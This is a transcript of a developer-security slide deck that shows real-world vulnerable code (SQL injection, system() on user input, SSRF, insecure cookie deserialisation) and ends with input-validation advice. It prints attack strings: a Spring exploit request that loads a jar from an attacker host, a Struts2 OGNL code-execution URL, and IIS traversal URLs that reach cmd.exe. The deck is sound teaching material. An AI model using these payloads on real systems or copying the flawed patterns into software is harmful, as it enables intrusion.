+ All Categories
Home > Documents > IS AT HOME

IS AT HOME

Date post: 22-Mar-2016
Category:
Upload: tobit
View: 40 times
Download: 1 times
Share this document with a friend
Description:
DON’T TRY TH. IS AT HOME. Some of the code examples in this presentation may shock even the strongest of developers. If you are faint of heart, or don’t like a good laugh, then it may pay to leave the room...... No really. JAVA. PERL. PHP. PYTHON. ASP. FLASH. C#. C, C++. VB.Net. CFML. - PowerPoint PPT Presentation
44
IS AT HOME DON’T TRY TH
Transcript
Page 1: IS AT HOME

IS AT HOMEDON’T TRY TH

Page 2: IS AT HOME

Some of the code examples in this presentation may shock even the strongest of developers.

If you are faint of heart, or don’t like a good laugh, then it may pay to leave the room...... No really...

Page 3: IS AT HOME

JAVA

PHP

ASP

C#

VB.Net

PERL

PYTHON

FLASH

C, C++

CFML

All Languages Can Lead To Security Vulnerabilities

Page 4: IS AT HOME

Security Vulnerability

Page 5: IS AT HOME

Abritrary Graph Of Statistics Of Vulnerabilities

3rd Hit Is A Vulnerability In A Graph Application

And Its SQL Injection

Have I Mentioned 2010 Yet?

Page 6: IS AT HOME

Abritrary Graph Of Statistics Of Vulnerabilities

http://www.cenzic.com/downloads/Cenzic_AppsecTrends_Q3-Q4-2009.pdf

Page 7: IS AT HOME

Abritrary Graph Of Statistics Of Vulnerabilities

http://www.cenzic.com/downloads/Cenzic_AppsecTrends_Q3-Q4-2009.pdf

Page 8: IS AT HOME

Abritrary Graph Of Statistics Of Vulnerabilities

http://www.cenzic.com/downloads/Cenzic_AppsecTrends_Q3-Q4-2009.pdf

Huh?

Page 9: IS AT HOME

Apologies

The code you are about to see comes from real applications,

only the variable names havebeen changed to protect theguilty.

If this code resembles yours, you may want to take notes...

Page 10: IS AT HOME

What's Wrong With This Picture

if (!string.IsNullOrEmpty(Request.QueryString["Eid"]))

CMSMain.WhereCondition =

"TitleID IN (SELECT TitleID FROMCMS_Documents WHERE EID = " +Request.QueryString["Eid"] + ")“;

Frameworks Don’t Always Protect You

Data Access Through

Framework

Page 11: IS AT HOME

Frameworks Segway....

Page 12: IS AT HOME

Spring FrameworkSpring Framework execution of arbitrary codehttp://blog.o0o.nu/2010/06/cve-2010-1622.html

Framework Bugs

POST /adduser HTTP/1.0...class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/

Any Form Controller

Overwrite The WebappClassLoader URL With An Arbitrary Remote Jar

Page 13: IS AT HOME

Struts2/XWork FrameworkStruts2 Framework execution of arbitrary codehttp://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html

Framework Bugs

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1

Execute Arbitrary Java Code

Page 14: IS AT HOME

“Lets make a list...”

OWASP Top 10

Page 15: IS AT HOME

Image LoaderCalled via pages to display imagesPassed an image name in the URL

Trusting Filenames From The User

public void ProcessRequest(HttpContext context){ string ImageUrl = context.Request.QueryString["ImageUrl"]; .. context.Response.WriteFile(ImageUrl);}

Retrieve Arbitrary File From Server

Page 16: IS AT HOME

Help System Page LoaderCalled to load help contents from other serverPassed a page reference in the URL

Trusting URLS From The User

public byte[] GetBytesFromUrl(string url){ HttpWebRequest myReq =

WebRequest.Create(url); var webResponse = webRequest.GetResponse(); using (var responseStream =

webResponse.GetResponseStream()) { return responseStream.ToBytes(); }}

Make Internal Network Requests

Page 17: IS AT HOME

Making Unauthenticated Request Results in a 302 redirect to the login page

Using 302 Redirect As Security Measure

HTTP/1.1 302 FoundLocation: /admin/loginContent-Type: text/html; charset=utf-8Content-Length: 13226

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/admin/login">here</a>.</h2></body></html>

That Seems Suspiciously Large

Page 18: IS AT HOME

Using 302 Redirect As Security Measure

HTTP/1.1 302 FoundLocation: /admin/loginContent-Type: text/html; charset=utf-8Content-Length: 13226

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/admin/login">here</a>.</h2></body></html>

<html><head id="_ctl1_Head1"><title>

File Upload</title><link href=“

Oh there it is.

Page 19: IS AT HOME

Things that work

Page 20: IS AT HOME

Things that DO NOT workPosting the CAPTCHA answer and responsePosting the CAPTCHA ‘id’ and response

Using HTML to display the CAPTCHA ‘word’Using HTML to display a mathematical equation to solve

POST /captcha HTTP/1.0

answer=kbpsh&response=kbpsh....

<html>Please type in these letters: kbpsh</html>

Page 21: IS AT HOME

Usual Shopping Process

Shopping Cart Troubles

Page 22: IS AT HOME

My Shopping Process

Shopping Cart Troubles

Add To Cart Contents After Payment Processed

Page 23: IS AT HOME

Image LoaderFlash loaded by HTML pageHTML page sets parameters

Flash Accepts User Input

private var imgPath:String;

imgPath = "http://localhost/sample.jpg" : img = this.loaderInfo.parameters.img;

img_holder = new Image(imgPath);

Can Be Set Via URL Parameters

Flash Movie Host On Your Site, Loading Images From Attackers Site

Page 24: IS AT HOME

Forgotten Password FeaturePage accepts email address and checks it is valid

Cross System Data Truncation

strEmail = Request.Form("txtemail")If strEmail <> "" Then objQRY.ClearParameters objQRY.AddParameter "@email", trim(strEmail)

set rsLogin = objQRY.ReturnRS("spUserMatch")

Calls A Stored Procedure

Page 25: IS AT HOME

Forgotten Password FeatureStored procedures does a user lookup

Cross System Data Truncation

CREATE PROCEDURE [dbo].[spUserMatch]

@email varchar(100) = null

...Truncates Input To 100 Characters

Page 26: IS AT HOME

Forgotten Password FeatureIf user exists, send email with new password

Cross System Data Truncation

Set Mailer = Server.CreateObject("SMTPsvg.Mailer")Mailer.Subject = "New Password"Mailer.BodyText = strBodyMailer.Recipient = strEmail

Uses The Original Input (Non Truncated)

<valid email address><100 spaces>;<attacker email address>

Attacker Receives Copy Of Email

Page 27: IS AT HOME

Object SerialisedBase64 encoded and stored as cookie

Cookie Data Serialisation

// create mapjava.util.HashMap map = new java.util.HashMap();map.put("UserId", UserId);map.put("email", email);

// Serialise and B64 itString info = java.net.URLEncoder.encode(new String(org.apache.commons.codec.binary.Base64.encodeBase64(buffer.toByteArray()),"UTF-8"),"UTF-8");

// Store it in cookieorg.apache.cocoon.environment.http.HttpCookie cookie = new org.apache.cocoon.environment.http.HttpCookie("SESSION", info);

Page 28: IS AT HOME

Object Is Stored Insecurely In CookieBase64 is not encryption

Cookie Data Can Be DecodedAnd modifiedAnd recodedAnd sent back

Application Deserialises ItAnd trusts itAnd attacker gains access as another userID

Cookie Data Serialisation

Page 29: IS AT HOME

Execute System() With User Supplied InputThis was for real.... In a ‘security’ appliance used by .mil

Lets Not Leave Out PHP

if ($_GET["cmd"] == "TERMEND") { $sid = $_GET["param"]; $cmd = "/var/www/htdocs/utt/Queue.pl

delete_message_queue $sid";

system($cmd);

Did I Mention That It Was Unauthenticated Access

Page 30: IS AT HOME

Well, This Sure Looks Useful

Cookies

void CheckLoginCount() { HttpCookie cookie =

Request.Cookies["LoginAttempts"];

if (cookie != null) { int attempts = cookie.Value; if (attempts >= 5)

Redirect("~/AccessDenied.aspx”); }}

Page 31: IS AT HOME

Remember Me FunctionalityUser selects remember meApplication generates random tokenStores token in cookie, and in database

More Cookies

$token = substr(md5(uniqid(rand(), true)), 0, 49 - strlen($this->ID));

$this->RememberLoginToken = $token;

Cookie::set('rem_me', $this->ID . ':' . $token);

Page 32: IS AT HOME

Remember Me FunctionalityUser selects to logoutApplication sets token to nullStores null in cookie, and in database

More Cookies

$this->RememberLoginToken = null;Cookie::set('rem_enc', null);

Page 33: IS AT HOME

Remember Me FunctionalityIf the user doesn’t logout they use the autologin featureApplication loads user based on cookie valueApplication checks the $tokens match

More Cookies

list($uid, $token) = explode(':', Cookie::get(‘rem_me'), 2);

$a_uid = Convert::raw2sql($uid);

$user = DataObject::get_one(“User", “User.ID = '$a_uid'");

if($user && $user->RememberLoginToken != $token) {$member = null;

}What Happens If $token is empty

(null)

Page 34: IS AT HOME

Never Trust User Supplied Input

Evil Users

No really, users are evil

And Hands Leap Out Of Matrix Style Backgrounds

Page 35: IS AT HOME

Input Validation Is The KeyNo I didn’t say ‘silver bullet’Properly implemented can prevent most app vulns

Validate At InputValidate all input to ensure if conforms to the required format

Validate All InputText strings, Cookie values, HTTP headersFile data, Path names, URL values, CurrencyData from databases, 3rd parties, web services

Input Validation

Page 36: IS AT HOME

Client Site ValidationShould only be used to reduce browser requestsNever rely on client side validation for security

Backend ValidationValidate the dataEnsure the user is authorised to access data recordsShould not matter what values the user sends

Page 37: IS AT HOME

Data Comes In Many Forms“this is data”%74%68%69%73%20%69%73%20%64%61%74%61&#x74;&#x68;&#x69;&#x73;&#x20;&#x69;&#x73;&#x20;&#x64;&#x61;&#x74;&#x61;“ThIs iS dAtA”

Many paths to the same location/help.jsp?page=user/welcome.htm/help.jsp?page=user/../admin/welcome.htm/help.jsp?page=user\..\admin/welcome.htm/help.jsp?page=user\/\/..//\\/admin/welcome.htm/help.jsp?page=help.jsp

Data Normalisation

Page 38: IS AT HOME

Depending On ApplicationDecode or reject

Detect Encoded DataDecode the data and compare to original

Decode Recursively To Its Lowest FormConcatenation of pathsMultiple layers of encoding

Formalise Decoding OrderTo prevent unintended decoding later in the application

Data Decoding or Normalisation

Page 39: IS AT HOME

MS Extended Unicode vulnerability

MS Double Decode vulnerability

NGINX Source Code Disclosure

Data Decoding And Validation FAIL

/scripts/..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir

http://www.example.com/file.php%20

Page 40: IS AT HOME

Ensure Data Conforms To Required FormatCheck length, type, min() max() valuesAlphanumeric onlyMust be a valid date

Reject Bad DataDo not attempt to fix it upEasily leads to confusion

Use Data WhitelistsChecks against a list of known good valuesEasier to know which values are good inputThe recommended approach

Conforms

Page 41: IS AT HOME

Data Will Be Used In Different PlaceSQL, XML, Output, Log files

Requires Different SanitisationRemove meta charsRemove special charactersRemove Linefeeds

Use Standard Formalised Reusable Code BlocksMost languages contain theseOWASP supplies someHomebrew stuff should be well tested and documented at the start of development

Santise Data For Use

Page 42: IS AT HOME

This Is Not Filtering

And Yes, XSS without <script> is possible

Don’t Forget To Escape The Escape Character

When Filtering Goes Wrong

If (imageurl = “/web.config”) exit()

If (req.getParameter(‘name’) .indexOf("<script") > 0exit()

input.Replace("+", "\\+").Replace("=", "\\=").Replace("(", "\\(").Replace(")", "\\)").Replace("*", "\\*").Replace("&", "\\&").Replace("!", "\\!").Replace("|","\\|"));

Page 43: IS AT HOME

Things To Try At HomeReview your own codeConduct internal peer reviewsHave a set of standards, and stick to them

Grepping The CodeLooking for where user input is usedLooking for dangerous syntax useParticular attention to ‘danger areas’ such as file uploadReview the stored procedures

Think Like An AttackerWant to ‘break the code’

Back To The Code

Page 44: IS AT HOME

www.insomniasec.com


Recommended